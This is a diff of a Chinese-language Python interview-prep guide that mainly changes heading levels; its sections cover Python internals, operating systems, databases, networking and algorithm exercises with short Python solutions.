线程全局锁(Global Interpreter Lock),即Python为了保证线程安全而采取的独立线程运行的限制,说白了就是一个核只能在同一时间运行一个线程.**对于io密集型任务python的多线程起到作用但对于cpu密集型任务python的多线程几乎占不到任何优势还有可能因为争夺资源而变慢。**
@ -476,7 +476,7 @@ Python 中,一个变量的作用域总是由在代码中被赋值的地方所
解决办法就是多进程和下面的协程(协程也只是单CPU,但是能减小切换代价提升性能).
## 19 协程
### 19 协程
知乎被问到了,呵呵哒,跪了
@ -484,7 +484,7 @@ Python 中,一个变量的作用域总是由在代码中被赋值的地方所
Python里最常见的yield就是协程的思想!可以查看第九个问题.
## 20 闭包
### 20 闭包
闭包(closure)是函数式编程的重要的语法结构。闭包也是一种组织代码的结构,它同样提高了代码的可重复使用性。
@ -496,13 +496,13 @@ Python里最常见的yield就是协程的思想!可以查看第九个问题.
闭包就像个空心球一样,你知道外面和里面,但你不知道中间是什么样.
## 21 lambda函数
### 21 lambda函数
其实就是一个匿名函数,为什么叫lambda?因为和后面的函数式编程有关.
推荐: [知乎](http://www.zhihu.com/question/20125256)
## 22 Python函数式编程
### 22 Python函数式编程
这个需要适当的了解一下吧,毕竟函数式编程在Python中也做了引用.
@ -534,7 +534,7 @@ reduce函数是对一个序列的每个项迭代调用函数下面是求3的
6
```
## 23 Python里的拷贝
### 23 Python里的拷贝
引用和copy(),deepcopy()的区别
@ -561,11 +561,11 @@ c = [1, 2, 3, 4, ['a', 'b', 'c']]
d = [1, 2, 3, 4, ['a', 'b']]
```
## 24 Python垃圾回收机制
### 24 Python垃圾回收机制
Python GC主要使用引用计数reference counting来跟踪和回收垃圾。在引用计数的基础上通过“标记-清除”mark and sweep解决容器对象可能产生的循环引用问题通过“分代回收”generation collection以空间换时间的方法提高垃圾回收效率。
### 1 引用计数
#### 1 引用计数
PyObject是每个对象必有的内容其中`ob_refcnt`就是做为引用计数。当一个对象有新的引用时,它的`ob_refcnt`就会增加,当引用它的对象被删除,它的`ob_refcnt`就会减少.引用计数为0时该对象生命就结束了。
@ -573,11 +573,11 @@ PyObject是每个对象必有的内容其中`ob_refcnt`就是做为引用计
1. 简单1. 实时性
缺点:
1. 维护引用计数消耗资源1. 循环引用
### 2 标记-清除机制
#### 2 标记-清除机制
基本思路是先按需分配,等到没有空闲内存的时候从寄存器和程序栈上的引用出发,遍历以对象为节点、以引用为边构成的图,把所有可以访问到的对象打上标记,然后清扫一遍内存空间,把所有没标记的对象释放。
### 3 分代技术
#### 3 分代技术
分代回收的整体思想是:将系统中的所有内存块根据其存活时间划分为不同的集合,每个集合就成为一个“代”,垃圾收集频率随着“代”的存活时间的增大而减小,存活时间通常利用经过几次垃圾回收来度量。
@ -585,21 +585,21 @@ Python默认定义了三代对象集合索引数越大对象存活时间
举例: <br/> 当某些内存块M经过了3次垃圾收集的清洗之后还存活时我们就将内存块M划到一个集合A中去而新分配的内存都划分到集合B中去。当垃圾收集开始工作时大多数情况都只对集合B进行垃圾回收而对集合A进行垃圾回收要隔相当长一段时间后才进行这就使得垃圾收集机制需要处理的内存少了效率自然就提高了。在这个过程中集合B中的某些内存块由于存活时间长而会被转移到集合A中当然集合A中实际上也存在一些垃圾这些垃圾的回收会因为这种分代的机制而被延迟。
## 25 Python的List
### 25 Python的List
推荐: [http://www.jianshu.com/p/J4U6rR](http://www.jianshu.com/p/J4U6rR)
## 26 Python的is
### 26 Python的is
is是对比地址,==是对比值
## 27 read,readline和readlines
### 27 read,readline和readlines
## 28 Python2和3的区别
### 28 Python2和3的区别
推荐:[Python 2.7.x 与 Python 3.x 的主要差异](http://chenqx.github.io/2014/11/10/Key-differences-between-Python-2-7-x-and-Python-3-x/)
## 29 super init
### 29 super init
super() lets you avoid referring to the base class explicitly, which can be nice. But the main advantage comes with multiple inheritance, where all sorts of fun stuff can happen. See the standard docs on super if you havent already.
@ -609,15 +609,15 @@ Note that the syntax changed in Python 3.0: you can just say super().`__init__`(
[Python2.7中的super方法浅见](http://blog.csdn.net/mrlevo520/article/details/51712440)
## 30 range and xrange
### 30 range and xrange
都在循环时使用xrange内存性能更好。 <br/> for i in range(0, 20): <br/> for i in xrange(0, 20): <br/> What is the difference between range and xrange functions in Python 2.X? <br/> range creates a list, so if you do range(1, 10000000) it creates a list in memory with 9999999 elements. <br/> xrange is a sequence object that evaluates lazily.
[http://stackoverflow.com/questions/94935/what-is-the-difference-between-range-and-xrange-functions-in-python-2-x](http://stackoverflow.com/questions/94935/what-is-the-difference-between-range-and-xrange-functions-in-python-2-x)
# 操作系统
## 操作系统
## 1 select,poll和epoll
### 1 select,poll和epoll
其实所有的I/O都是轮询的方法,只不过实现的层面不同罢了.
@ -633,13 +633,13 @@ epoll改了三个缺点.
关于epoll的: [http://www.cnblogs.com/my_life/articles/3968782.html](http://www.cnblogs.com/my_life/articles/3968782.html)
## 2 调度算法
### 2 调度算法
1. 先来先服务(FCFS, First Come First Serve)1. 短作业优先(SJF, Shortest Job First)1. 最高优先权调度(Priority Scheduling)1. 时间片轮转(RR, Round Robin)1. 多级反馈队列调度(multilevel feedback queue scheduling)
常见的调度算法总结:[http://www.jianshu.com/p/6edf8174c1eb](http://www.jianshu.com/p/6edf8174c1eb)
实时调度算法:
1. 最早截至时间优先 EDF1. 最低松弛度优先 LLF
## 3 死锁
### 3 死锁
原因:
1. 竞争资源1. 程序推进顺序不当
@ -650,7 +650,7 @@ epoll改了三个缺点.
<ol>1. 剥夺资源1. 撤销进程
死锁概念处理策略详细介绍:[https://wizardforcel.gitbooks.io/wangdaokaoyan-os/content/10.html](https://wizardforcel.gitbooks.io/wangdaokaoyan-os/content/10.html)
## 4 程序编译与链接
### 4 程序编译与链接
推荐: [http://www.ruanyifeng.com/blog/2014/11/compiler.html](http://www.ruanyifeng.com/blog/2014/11/compiler.html)
@ -658,53 +658,53 @@ Bulid过程可以分解为4个步骤:预处理(Prepressing), 编译(Compilation)
以c语言为例:
### 1 预处理
#### 1 预处理
预编译过程主要处理那些源文件中的以“#”开始的预编译指令,主要处理规则有:
1. 将所有的“#define”删除并展开所用的宏定义1. 处理所有条件预编译指令,比如“#if”、“#ifdef”、 “#elif”、“#endif”1. 处理“#include”预编译指令将被包含的文件插入到该编译指令的位置此过程是递归进行的1. 删除所有注释1. 添加行号和文件名标识以便于编译时编译器产生调试用的行号信息以及用于编译时产生编译错误或警告时可显示行号1. 保留所有的#pragma编译器指令。
### 2 编译
#### 2 编译
编译过程就是把预处理完的文件进行一系列的词法分析、语法分析、语义分析及优化后生成相应的汇编代码文件。这个过程是整个程序构建的核心部分。
### 3 汇编
#### 3 汇编
汇编器是将汇编代码转化成机器可以执行的指令,每一条汇编语句几乎都是一条机器指令。经过编译、链接、汇编输出的文件成为目标文件(Object File)
### 4 链接
#### 4 链接
链接的主要内容就是把各个模块之间相互引用的部分处理好,使各个模块可以正确的拼接。 <br/> 链接的主要过程包块 地址和空间的分配Address and Storage Allocation、符号决议(Symbol Resolution)和重定位(Relocation)等步骤。
## 5 静态链接和动态链接
### 5 静态链接和动态链接
静态链接方法:静态链接的时候,载入代码就会把程序会用到的动态代码或动态代码的地址确定下来 <br/> 静态库的链接可以使用静态链接,动态链接库也可以使用这种方法链接导入库
动态链接方法:使用这种方式的程序并不在一开始就完成动态链接,而是直到真正调用动态库代码时,载入程序才计算(被调用的那部分)动态代码的逻辑地址,然后等到某个时候,程序又需要调用另外某块动态代码时,载入程序又去计算这部分代码的逻辑地址,所以,这种方式使程序初始化时间较短,但运行期间的性能比不上静态链接的程序
## 6 虚拟内存技术
### 6 虚拟内存技术
虚拟存储器是指具有请求调入功能和置换功能,能从逻辑上对内存容量加以扩充的一种存储系统.
## 7 分页和分段
### 7 分页和分段
分页: 用户程序的地址空间被划分成若干固定大小的区域,称为“页”,相应地,内存空间分成若干个物理块,页和块的大小相等。可将用户程序的任一页放在内存的任一块中,实现了离散分配。
分段: 将用户程序地址空间分成若干个大小不等的段,每段可以定义一组相对完整的逻辑信息。存储分配时,以段为单位,段与段在内存中可以不相邻接,也实现了离散分配。
### 分页与分段的主要区别
#### 分页与分段的主要区别
1. 页是信息的物理单位,分页是为了实现非连续分配,以便解决内存碎片问题,或者说分页是由于系统管理的需要.段是信息的逻辑单位,它含有一组意义相对完整的信息,分段的目的是为了更好地实现共享,满足用户的需要.1. 页的大小固定,由系统确定,将逻辑地址划分为页号和页内地址是由机器硬件实现的.而段的长度却不固定,决定于用户所编写的程序,通常由编译程序在对源程序进行编译时根据信息的性质来划分.1. 分页的作业地址空间是一维的.分段的地址空间是二维的.
## 8 页面置换算法
### 8 页面置换算法
1. 最佳置换算法OPT:不可能实现1. 先进先出FIFO1. 最近最久未使用算法LRU:最近一段时间里最久没有使用过的页面予以置换.1. clock算法
## 9 边沿触发和水平触发
### 9 边沿触发和水平触发
边缘触发是指每当状态变化时发生一个 io 事件,条件触发是只要满足条件就发生一个 io 事件
# 数据库
## 数据库
## 1 事务
### 1 事务
数据库事务(Database Transaction) ,是指作为单个逻辑工作单元执行的一系列操作,要么完全地执行,要么完全地不执行。 <br/> 彻底理解数据库事务: [http://www.hollischuang.com/archives/898](http://www.hollischuang.com/archives/898)
## 2 数据库索引
### 2 数据库索引
推荐: [http://tech.meituan.com/mysql-index.html](http://tech.meituan.com/mysql-index.html)
@ -712,19 +712,19 @@ Bulid过程可以分解为4个步骤:预处理(Prepressing), 编译(Compilation)
聚集索引,非聚集索引,B-Tree,B+Tree,最左前缀原理
## 3 Redis原理
### 3 Redis原理
### Redis是什么
#### Redis是什么
1. 是一个完全开源免费的key-value内存数据库 1. 通常被认为是一个数据结构服务器,主要是因为其有着丰富的数据结构 strings、map、 list、sets、 sorted sets
### Redis数据库
#### Redis数据库
>
通常局限点来说Redis也以消息队列的形式存在作为内嵌的List存在满足实时的高并发需求。在使用缓存的时候redis比memcached具有更多的优势并且支持更多的数据类型把redis当作一个中间存储系统用来处理高并发的数据库操作
### Redis缺点
#### Redis缺点
## 4 乐观锁和悲观锁
### 4 乐观锁和悲观锁
悲观锁:假定会发生并发冲突,屏蔽一切可能违反数据完整性的操作
@ -732,13 +732,13 @@ Bulid过程可以分解为4个步骤:预处理(Prepressing), 编译(Compilation)
乐观锁与悲观锁的具体区别: [http://www.cnblogs.com/Bob-FD/p/3352216.html](http://www.cnblogs.com/Bob-FD/p/3352216.html)
## 5 MVCC
### 5 MVCC
>
全称是Multi-Version Concurrent Control即多版本并发控制在MVCC协议下每个读操作会看到一个一致性的snapshot并且可以实现非阻塞的读。MVCC允许数据具有多个版本这个版本可以是时间戳或者是全局递增的事务ID在同一个时间点不同的事务看到的数据是不同的。
### [MySQL](http://lib.csdn.net/base/mysql)的innodb引擎是如何实现MVCC的
#### [MySQL](http://lib.csdn.net/base/mysql)的innodb引擎是如何实现MVCC的
innodb会为每一行添加两个字段分别表示该行**创建的版本**和**删除的版本**填入的是事务的版本号这个版本号随着事务的创建不断递增。在repeated read的隔离级别[事务的隔离级别请看这篇文章](http://blog.csdn.net/chosen0ne/article/details/10036775))下,具体各种数据库操作的实现:
@ -752,7 +752,7 @@ innodb会为每一行添加两个字段分别表示该行**创建的版本**
参考:[MVCC浅析](http://blog.csdn.net/chosen0ne/article/details/18093187)
## 6 MyISAM和InnoDB
### 6 MyISAM和InnoDB
MyISAM 适合于一些需要大量查询的应用但其对于有大量写操作并不是很好。甚至你只是需要update一个字段整个表都会被锁起来而别的进程就算是读进程都无法操作直到读操作完成。另外MyISAM 对于 SELECT COUNT(*) 这类的计算是超快无比的。
@ -760,31 +760,31 @@ InnoDB 的趋势会是一个非常复杂的存储引擎,对于一些小的应
mysql 数据库引擎: [http://www.cnblogs.com/0201zcr/p/5296843.html](http://www.cnblogs.com/0201zcr/p/5296843.html) <br/> MySQL存储引擎MyISAM与InnoDB区别: [https://segmentfault.com/a/1190000008227211](https://segmentfault.com/a/1190000008227211)
# 网络
## 网络
## 1 三次握手
### 1 三次握手
1. 客户端通过向服务器端发送一个SYN来创建一个主动打开作为三次握手的一部分。客户端把这段连接的序号设定为随机数 A。1. 服务器端应当为一个合法的SYN回送一个SYN/ACK。ACK 的确认码应为 A+1SYN/ACK 包本身又有一个随机序号 B。1. 最后客户端再发送一个ACK。当服务端受到这个ACK的时候就完成了三路握手并进入了连接创建状态。此时包序号被设定为收到的确认号 A+1而响应则为 B+1。
## 2 四次挥手
### 2 四次挥手
**注意: 中断连接端可以是客户端,也可以是服务器端. 下面仅以客户端断开连接举例, 反之亦然.**
1. 客户端发送一个数据分段, 其中的 FIN 标记设置为1. 客户端进入 FIN-WAIT 状态. 该状态下客户端只接收数据, 不再发送数据.1. 服务器接收到带有 FIN = 1 的数据分段, 发送带有 ACK = 1 的剩余数据分段, 确认收到客户端发来的 FIN 信息.1. 服务器等到所有数据传输结束, 向客户端发送一个带有 FIN = 1 的数据分段, 并进入 CLOSE-WAIT 状态, 等待客户端发来带有 ACK = 1 的确认报文.1. 客户端收到服务器发来带有 FIN = 1 的报文, 返回 ACK = 1 的报文确认, 为了防止服务器端未收到需要重发, 进入 TIME-WAIT 状态. 服务器接收到报文后关闭连接. 客户端等待 2MSL 后未收到回复, 则认为服务器成功关闭, 客户端关闭连接.
图解: [http://blog.csdn.net/whuslei/article/details/6667471](http://blog.csdn.net/whuslei/article/details/6667471)
## 3 ARP协议
### 3 ARP协议
地址解析协议(Address Resolution Protocol)其基本功能为透过目标设备的IP地址查询目标的MAC地址以保证通信的顺利进行。它是IPv4网络层必不可少的协议不过在IPv6中已不再适用并被邻居发现协议NDP所替代。
## 4 urllib和urllib2的区别
### 4 urllib和urllib2的区别
这个面试官确实问过,当时答的urllib2可以Post而urllib不可以.
1. urllib提供urlencode方法用来GET查询字符串的产生而urllib2没有。这是为何urllib常和urllib2一起使用的原因。1. urllib2可以接受一个Request类的实例来设置URL请求的headersurllib仅可以接受URL。这意味着你不可以伪装你的User Agent字符串等。
## 5 Post和Get
### 5 Post和Get
[GET和POST有什么区别及为什么网上的多数答案都是错的](http://www.cnblogs.com/nankezhishi/archive/2012/06/09/getandpost.html) <br/> [知乎回答](https://www.zhihu.com/question/31640769?rf=37401322)
get: [RFC 2616 - Hypertext Transfer Protocol HTTP/1.1](http://tools.ietf.org/html/rfc2616#section-9.3) <br/> post: [RFC 2616 - Hypertext Transfer Protocol HTTP/1.1](http://tools.ietf.org/html/rfc2616#section-9.5)
## 6 Cookie和Session
### 6 Cookie和Session
<th align="left">Cookie</th><th align="left">Session</th>
|------
@ -794,15 +794,15 @@ get: [RFC 2616 - Hypertext Transfer Protocol HTTP/1.1](http://tools.ietf.org
session技术是要使用到cookie的之所以出现session技术主要是为了安全。
## 7 apache和nginx的区别
### 7 apache和nginx的区别
nginx 相对 apache 的优点: <br/> * 轻量级同样起web 服务比apache 占用更少的内存及资源 <br/> * 抗并发nginx 处理请求是异步非阻塞的支持更多的并发连接而apache 则是阻塞型的在高并发下nginx 能保持低资源低消耗高性能 <br/> * 配置简洁 <br/> * 高度模块化的设计,编写模块相对简单 <br/> * 社区活跃
apache 相对nginx 的优点: <br/> * rewrite 比nginx 的rewrite 强大 <br/> * 模块超多,基本想到的都可以找到 <br/> * 少bug nginx 的bug 相对较多 <br/> * 超稳定
## 8 网站用户密码保存
### 8 网站用户密码保存
1. 明文保存1. 明文hash后保存,如md51. MD5+Salt方式,这个salt可以随机1. 知乎使用了Bcrypy(好像)加密
## 9 HTTP和HTTPS
### 9 HTTP和HTTPS
<th align="left">状态码</th><th align="left">定义</th>
|------
@ -816,11 +816,11 @@ apache 相对nginx 的优点: <br/> * rewrite 比nginx 的rewrite 强大 <b
HTTPS握手,对称加密,非对称加密,TLS/SSL,RSA
## 10 XSRF和XSS
### 10 XSRF和XSS
CSRF重点在请求,XSS重点在脚本
## 11 幂等 Idempotence
### 11 幂等 Idempotence
HTTP方法的幂等性是指一次和多次请求某一个资源应该具有同样的**副作用**。(注意是副作用)
@ -832,15 +832,15 @@ POST所对应的URI并非创建的资源本身而是资源的接收者。比
PUT所对应的URI是要创建或更新的资源本身。比如`PUT http://www.forum/articles/4231`的语义是创建或更新ID为4231的帖子。对同一URI进行多次PUT的副作用和一次PUT是相同的因此PUT方法具有幂等性。
## 12 RESTful架构(SOAP,RPC)
### 12 RESTful架构(SOAP,RPC)
推荐: [http://www.ruanyifeng.com/blog/2011/09/restful.html](http://www.ruanyifeng.com/blog/2011/09/restful.html)
## 13 SOAP
### 13 SOAP
SOAP原为Simple Object Access Protocol的首字母缩写即简单对象访问协议是交换数据的一种协议规范使用在计算机网络Web服务web service交换带结构信息。SOAP为了简化网页服务器Web Server从XML数据库中提取数据时节省去格式化页面时间以及不同应用程序之间按照HTTP通信协议遵从XML格式执行资料互换使其抽象于语言实现、平台和硬件。
## 14 RPC
### 14 RPC
RPCRemote Procedure Call Protocol——远程过程调用协议它是一种通过网络从远程计算机程序上请求服务而不需要了解底层网络技术的协议。RPC协议假定某些传输协议的存在如TCP或UDP为通信程序之间携带信息数据。在OSI网络通信模型中RPC跨越了传输层和应用层。RPC使得开发包括网络分布式多程序在内的应用程序更加容易。
@ -848,7 +848,7 @@ RPCRemote Procedure Call Protocol——远程过程调用协议它是
进化的顺序: RPC -&gt; SOAP -&gt; RESTful
## 15 CGI和WSGI
### 15 CGI和WSGI
CGI是通用网关接口是连接web服务器和应用程序的接口用户通过CGI来获取动态数据或文件等。 <br/> CGI程序是一个独立的程序它可以用几乎所有语言来写包括perlcluapython等等。
@ -856,29 +856,29 @@ WSGI, Web Server Gateway Interface是Python应用程序或框架和Web服务
官方说明:[PEP-3333](https://www.python.org/dev/peps/pep-3333/)
## 16 中间人攻击
### 16 中间人攻击
在GFW里屡见不鲜的,呵呵.
中间人攻击Man-in-the-middle attack通常缩写为MITM是指攻击者与通讯的两端分别创建独立的联系并交换其所收到的数据使通讯的两端认为他们正在通过一个私密的连接与对方直接对话但事实上整个会话都被攻击者完全控制。
## 17 c10k问题
### 17 c10k问题
所谓c10k问题指的是服务器同时支持成千上万个客户端的问题也就是concurrent 10 000 connection这也是c10k这个名字的由来<br/> 推荐: [https://my.oschina.net/xianggao/blog/664275](https://my.oschina.net/xianggao/blog/664275)
## 18 socket
### 18 socket
推荐: [http://www.360doc.com/content/11/0609/15/5482098_122692444.shtml](http://www.360doc.com/content/11/0609/15/5482098_122692444.shtml)
Socket=Ip address+ TCP/UDP + port
## 19 浏览器缓存
### 19 浏览器缓存
推荐: [http://www.cnblogs.com/skynet/archive/2012/11/28/2792503.html](http://www.cnblogs.com/skynet/archive/2012/11/28/2792503.html)
304 Not Modified
## 20 HTTP1.0和HTTP1.1
### 20 HTTP1.0和HTTP1.1
推荐: [http://blog.csdn.net/elifefly/article/details/3964766](http://blog.csdn.net/elifefly/article/details/3964766)
1. 请求头Host字段,一个服务器多个网站1. 长链接1. 文件断点续传1. 身份认证,状态管理,Cache缓存
@ -928,17 +928,17 @@ PATCH方法出现的较晚它在2010年的RFC 5789标准中被定义。PATCH
但PATCH一般用于资源的部分更新而PUT一般用于资源的整体更新。 <br/> 当资源不存在时PATCH会创建一个新的资源而PUT只会对已在资源进行更新。
## 21 Ajax
### 21 Ajax
AJAX,Asynchronous JavaScript and XML异步的 JavaScript 和 XML, 是与在不重新加载整个页面的情况下,与服务器交换数据并更新部分网页的技术。
# *NIX
## *NIX
## unix进程间通信方式(IPC)
### unix进程间通信方式(IPC)
1. 管道Pipe管道可用于具有亲缘关系进程间的通信允许一个进程和另一个与它有共同祖先的进程之间进行通信。1. 命名管道named pipe命名管道克服了管道没有名字的限制因此除具有管道所具有的功能外它还允许无亲缘关系进程间的通信。命名管道在文件系统中有对应的文件名。命名管道通过命令mkfifo或系统调用mkfifo来创建。1. 信号Signal信号是比较复杂的通信方式用于通知接受进程有某种事件发生除了用于进程间通信外进程还可以发送信号给进程本身linux除了支持Unix早期信号语义函数sigal外还支持语义符合Posix.1标准的信号函数sigaction实际上该函数是基于BSD的BSD为了实现可靠信号机制又能够统一对外接口用sigaction函数重新实现了signal函数。1. 消息Message队列消息队列是消息的链接表包括Posix消息队列system V消息队列。有足够权限的进程可以向队列中添加消息被赋予读权限的进程则可以读走队列中的消息。消息队列克服了信号承载信息量少管道只能承载无格式字节流以及缓冲区大小受限等缺1. 共享内存使得多个进程可以访问同一块内存空间是最快的可用IPC形式。是针对其他通信机制运行效率较低而设计的。往往与其它通信机制如信号量结合使用来达到进程间的同步及互斥。1. 内存映射mapped memory内存映射允许任何多个进程间通信每一个使用该机制的进程通过把一个共享的文件映射到自己的进程地址空间来实现它。1. 信号量semaphore主要作为进程间以及同一进程不同线程之间的同步手段。1. 套接口Socket更为一般的进程间通信机制可用于不同机器之间的进程间通信。起初是由Unix系统的BSD分支开发出来的但现在一般可以移植到其它类Unix系统上Linux和System V的变种都支持套接字。
# 数据结构
## 数据结构
## 1 红黑树
### 1 红黑树
红黑树与AVL的比较
@ -952,9 +952,9 @@ AVL是严格平衡树因此在增加或者删除节点的时候根据不
教你透彻了解红黑树: [https://github.com/julycoding/The-Art-Of-Programming-By-July/blob/master/ebook/zh/03.01.md](https://github.com/julycoding/The-Art-Of-Programming-By-July/blob/master/ebook/zh/03.01.md)
# 编程题
## 编程题
## 1 台阶问题/斐波那契
### 1 台阶问题/斐波那契
一只青蛙一次可以跳上1级台阶也可以跳上2级。求该青蛙跳上一个n级的台阶总共有多少种跳法。
@ -991,7 +991,7 @@ def fib(n):
return b
```
## 2 变态台阶问题
### 2 变态台阶问题
一只青蛙一次可以跳上1级台阶也可以跳上2级……它也可以跳上n级。求该青蛙跳上一个n级的台阶总共有多少种跳法。
@ -999,7 +999,7 @@ def fib(n):
fib = lambda n: n if n &lt; 2 else 2 * fib(n - 1)
```
## 3 矩形覆盖
### 3 矩形覆盖
我们可以用`2*1`的小矩形横着或者竖着去覆盖更大的矩形。请问用n个`2*1`的小矩形无重叠地覆盖一个`2*n`的大矩形,总共有多少种方法?
@ -1011,7 +1011,7 @@ fib = lambda n: n if n &lt; 2 else 2 * fib(n - 1)
f = lambda n: 1 if n &lt; 2 else f(n - 1) + f(n - 2)
```
## 4 杨氏矩阵查找
### 4 杨氏矩阵查找
在一个m行n列二维数组中每一行都按照从左到右递增的顺序排序每一列都按照从上到下递增的顺序排序。请完成一个函数输入这样的一个二维数组和一个整数判断数组中是否含有该整数。
@ -1037,7 +1037,7 @@ def find(l, x):
return False
```
## 5 去除列表中的重复元素
### 5 去除列表中的重复元素
用集合
@ -1074,7 +1074,7 @@ sorted排序并且用列表推导式.
l = [b,c,d,b,c,a,a] <br/> [single.append(i) for i in sorted(l) if i not in single] <br/> print single
## 6 链表成对调换
### 6 链表成对调换
`1-&gt;2-&gt;3-&gt;4`转换成`2-&gt;1-&gt;4-&gt;3`.
@ -1096,15 +1096,15 @@ class Solution:
return head
```
## 7 创建字典的方法
### 7 创建字典的方法
### 1 直接创建
#### 1 直接创建
```
dict = {'name':'earth', 'port':'80'}
```
### 2 工厂方法
#### 2 工厂方法
```
items=[('name','earth'),('port','80')]
@ -1112,7 +1112,7 @@ dict2=dict(items)
dict1=dict((['name','earth'],['port','80']))
```
### 3 fromkeys()方法
#### 3 fromkeys()方法
```
dict1={}.fromkeys(('x','y'),-1)
@ -1121,7 +1121,7 @@ dict2={}.fromkeys(('x','y'))
dict2={'x':None, 'y':None}
```
## 8 合并两个有序列表
### 8 合并两个有序列表
知乎远程面试要求编程
@ -1205,7 +1205,7 @@ print merge_sortedlist(a,b)
```
## 9 交叉链表求交点
### 9 交叉链表求交点
>
其实思想可以按照从尾开始比较两个链表,如果相交,则从尾开始必然一致,只要从尾开始比较,直至不一致的地方即为交叉点,如图所示
@ -1298,7 +1298,7 @@ def node(l1, l2):
思路: [http://humaoli.blog.163.com/blog/static/13346651820141125102125995/](http://humaoli.blog.163.com/blog/static/13346651820141125102125995/)
## 10 二分查找
### 10 二分查找
```
@ -1323,7 +1323,7 @@ print binary_search(mylist,3)
参考: [http://blog.csdn.net/u013205877/article/details/76411718](http://blog.csdn.net/u013205877/article/details/76411718)
## 11 快排
### 11 快排
```
#coding:utf-8
@ -1344,7 +1344,7 @@ print quicksort([2,4,6,7,1,2,5])
更多排序问题可见:[数据结构与算法-排序篇-Python描述](http://blog.csdn.net/mrlevo520/article/details/77829204)
## 12 找零问题
### 12 找零问题
```
@ -1373,11 +1373,11 @@ def coinChange(values,valuesCounts,money,coinsUsed):
方法: [http://www.cnblogs.com/ChenxofHit/archive/2011/03/18/1988431.html](http://www.cnblogs.com/ChenxofHit/archive/2011/03/18/1988431.html)
## 13 广度遍历和深度遍历二叉树
### 13 广度遍历和深度遍历二叉树
给定一个数组,构建二叉树,并且按层次打印这个二叉树
## 14 二叉树节点
### 14 二叉树节点
```
@ -1391,7 +1391,7 @@ tree = Node(1, Node(3, Node(7, Node(0)), Node(6)), Node(2, Node(5), Node(4)))
```
## 15 层次遍历
### 15 层次遍历
```
@ -1403,7 +1403,7 @@ def lookup(root):
```
## 16 深度遍历
### 16 深度遍历
```
@ -1419,7 +1419,7 @@ if __name__ == '__main__':
deep(tree)
```
## 17 前中后序遍历
### 17 前中后序遍历
深度遍历改变顺序就OK了
@ -1464,7 +1464,7 @@ def post_trvelsal(root):
```
## 18 求最大树深
### 18 求最大树深
```
def maxDepth(root):
@ -1473,7 +1473,7 @@ def maxDepth(root):
return max(maxDepth(root.left), maxDepth(root.right)) + 1
```
## 19 求两棵树是否相同
### 19 求两棵树是否相同
```
def isSameTree(p, q):
@ -1485,7 +1485,7 @@ def isSameTree(p, q):
return False
```
## 20 前序中序求后序
### 20 前序中序求后序
推荐: [http://blog.csdn.net/hinyunsin/article/details/6315502](http://blog.csdn.net/hinyunsin/article/details/6315502)
@ -1507,7 +1507,7 @@ def deep(root):
print root.data
```
## 21 单链表逆置
### 21 单链表逆置
```
class Node(object):
@ -1538,7 +1538,7 @@ while root:
方法: [http://www.xuebuyuan.com/2066385.html?mobile=1](http://www.xuebuyuan.com/2066385.html?mobile=1)
## 22 两个字符串是否是变位词
### 22 两个字符串是否是变位词
```
class Anagram:
@ -1619,7 +1619,7 @@ class Anagram:
print(Solution3('apple','pleap'))
```
## 23 动态规划问题
### 23 动态规划问题
>
可参考:[动态规划(DP)的整理-Python描述](http://blog.csdn.net/mrlevo520/article/details/75676160)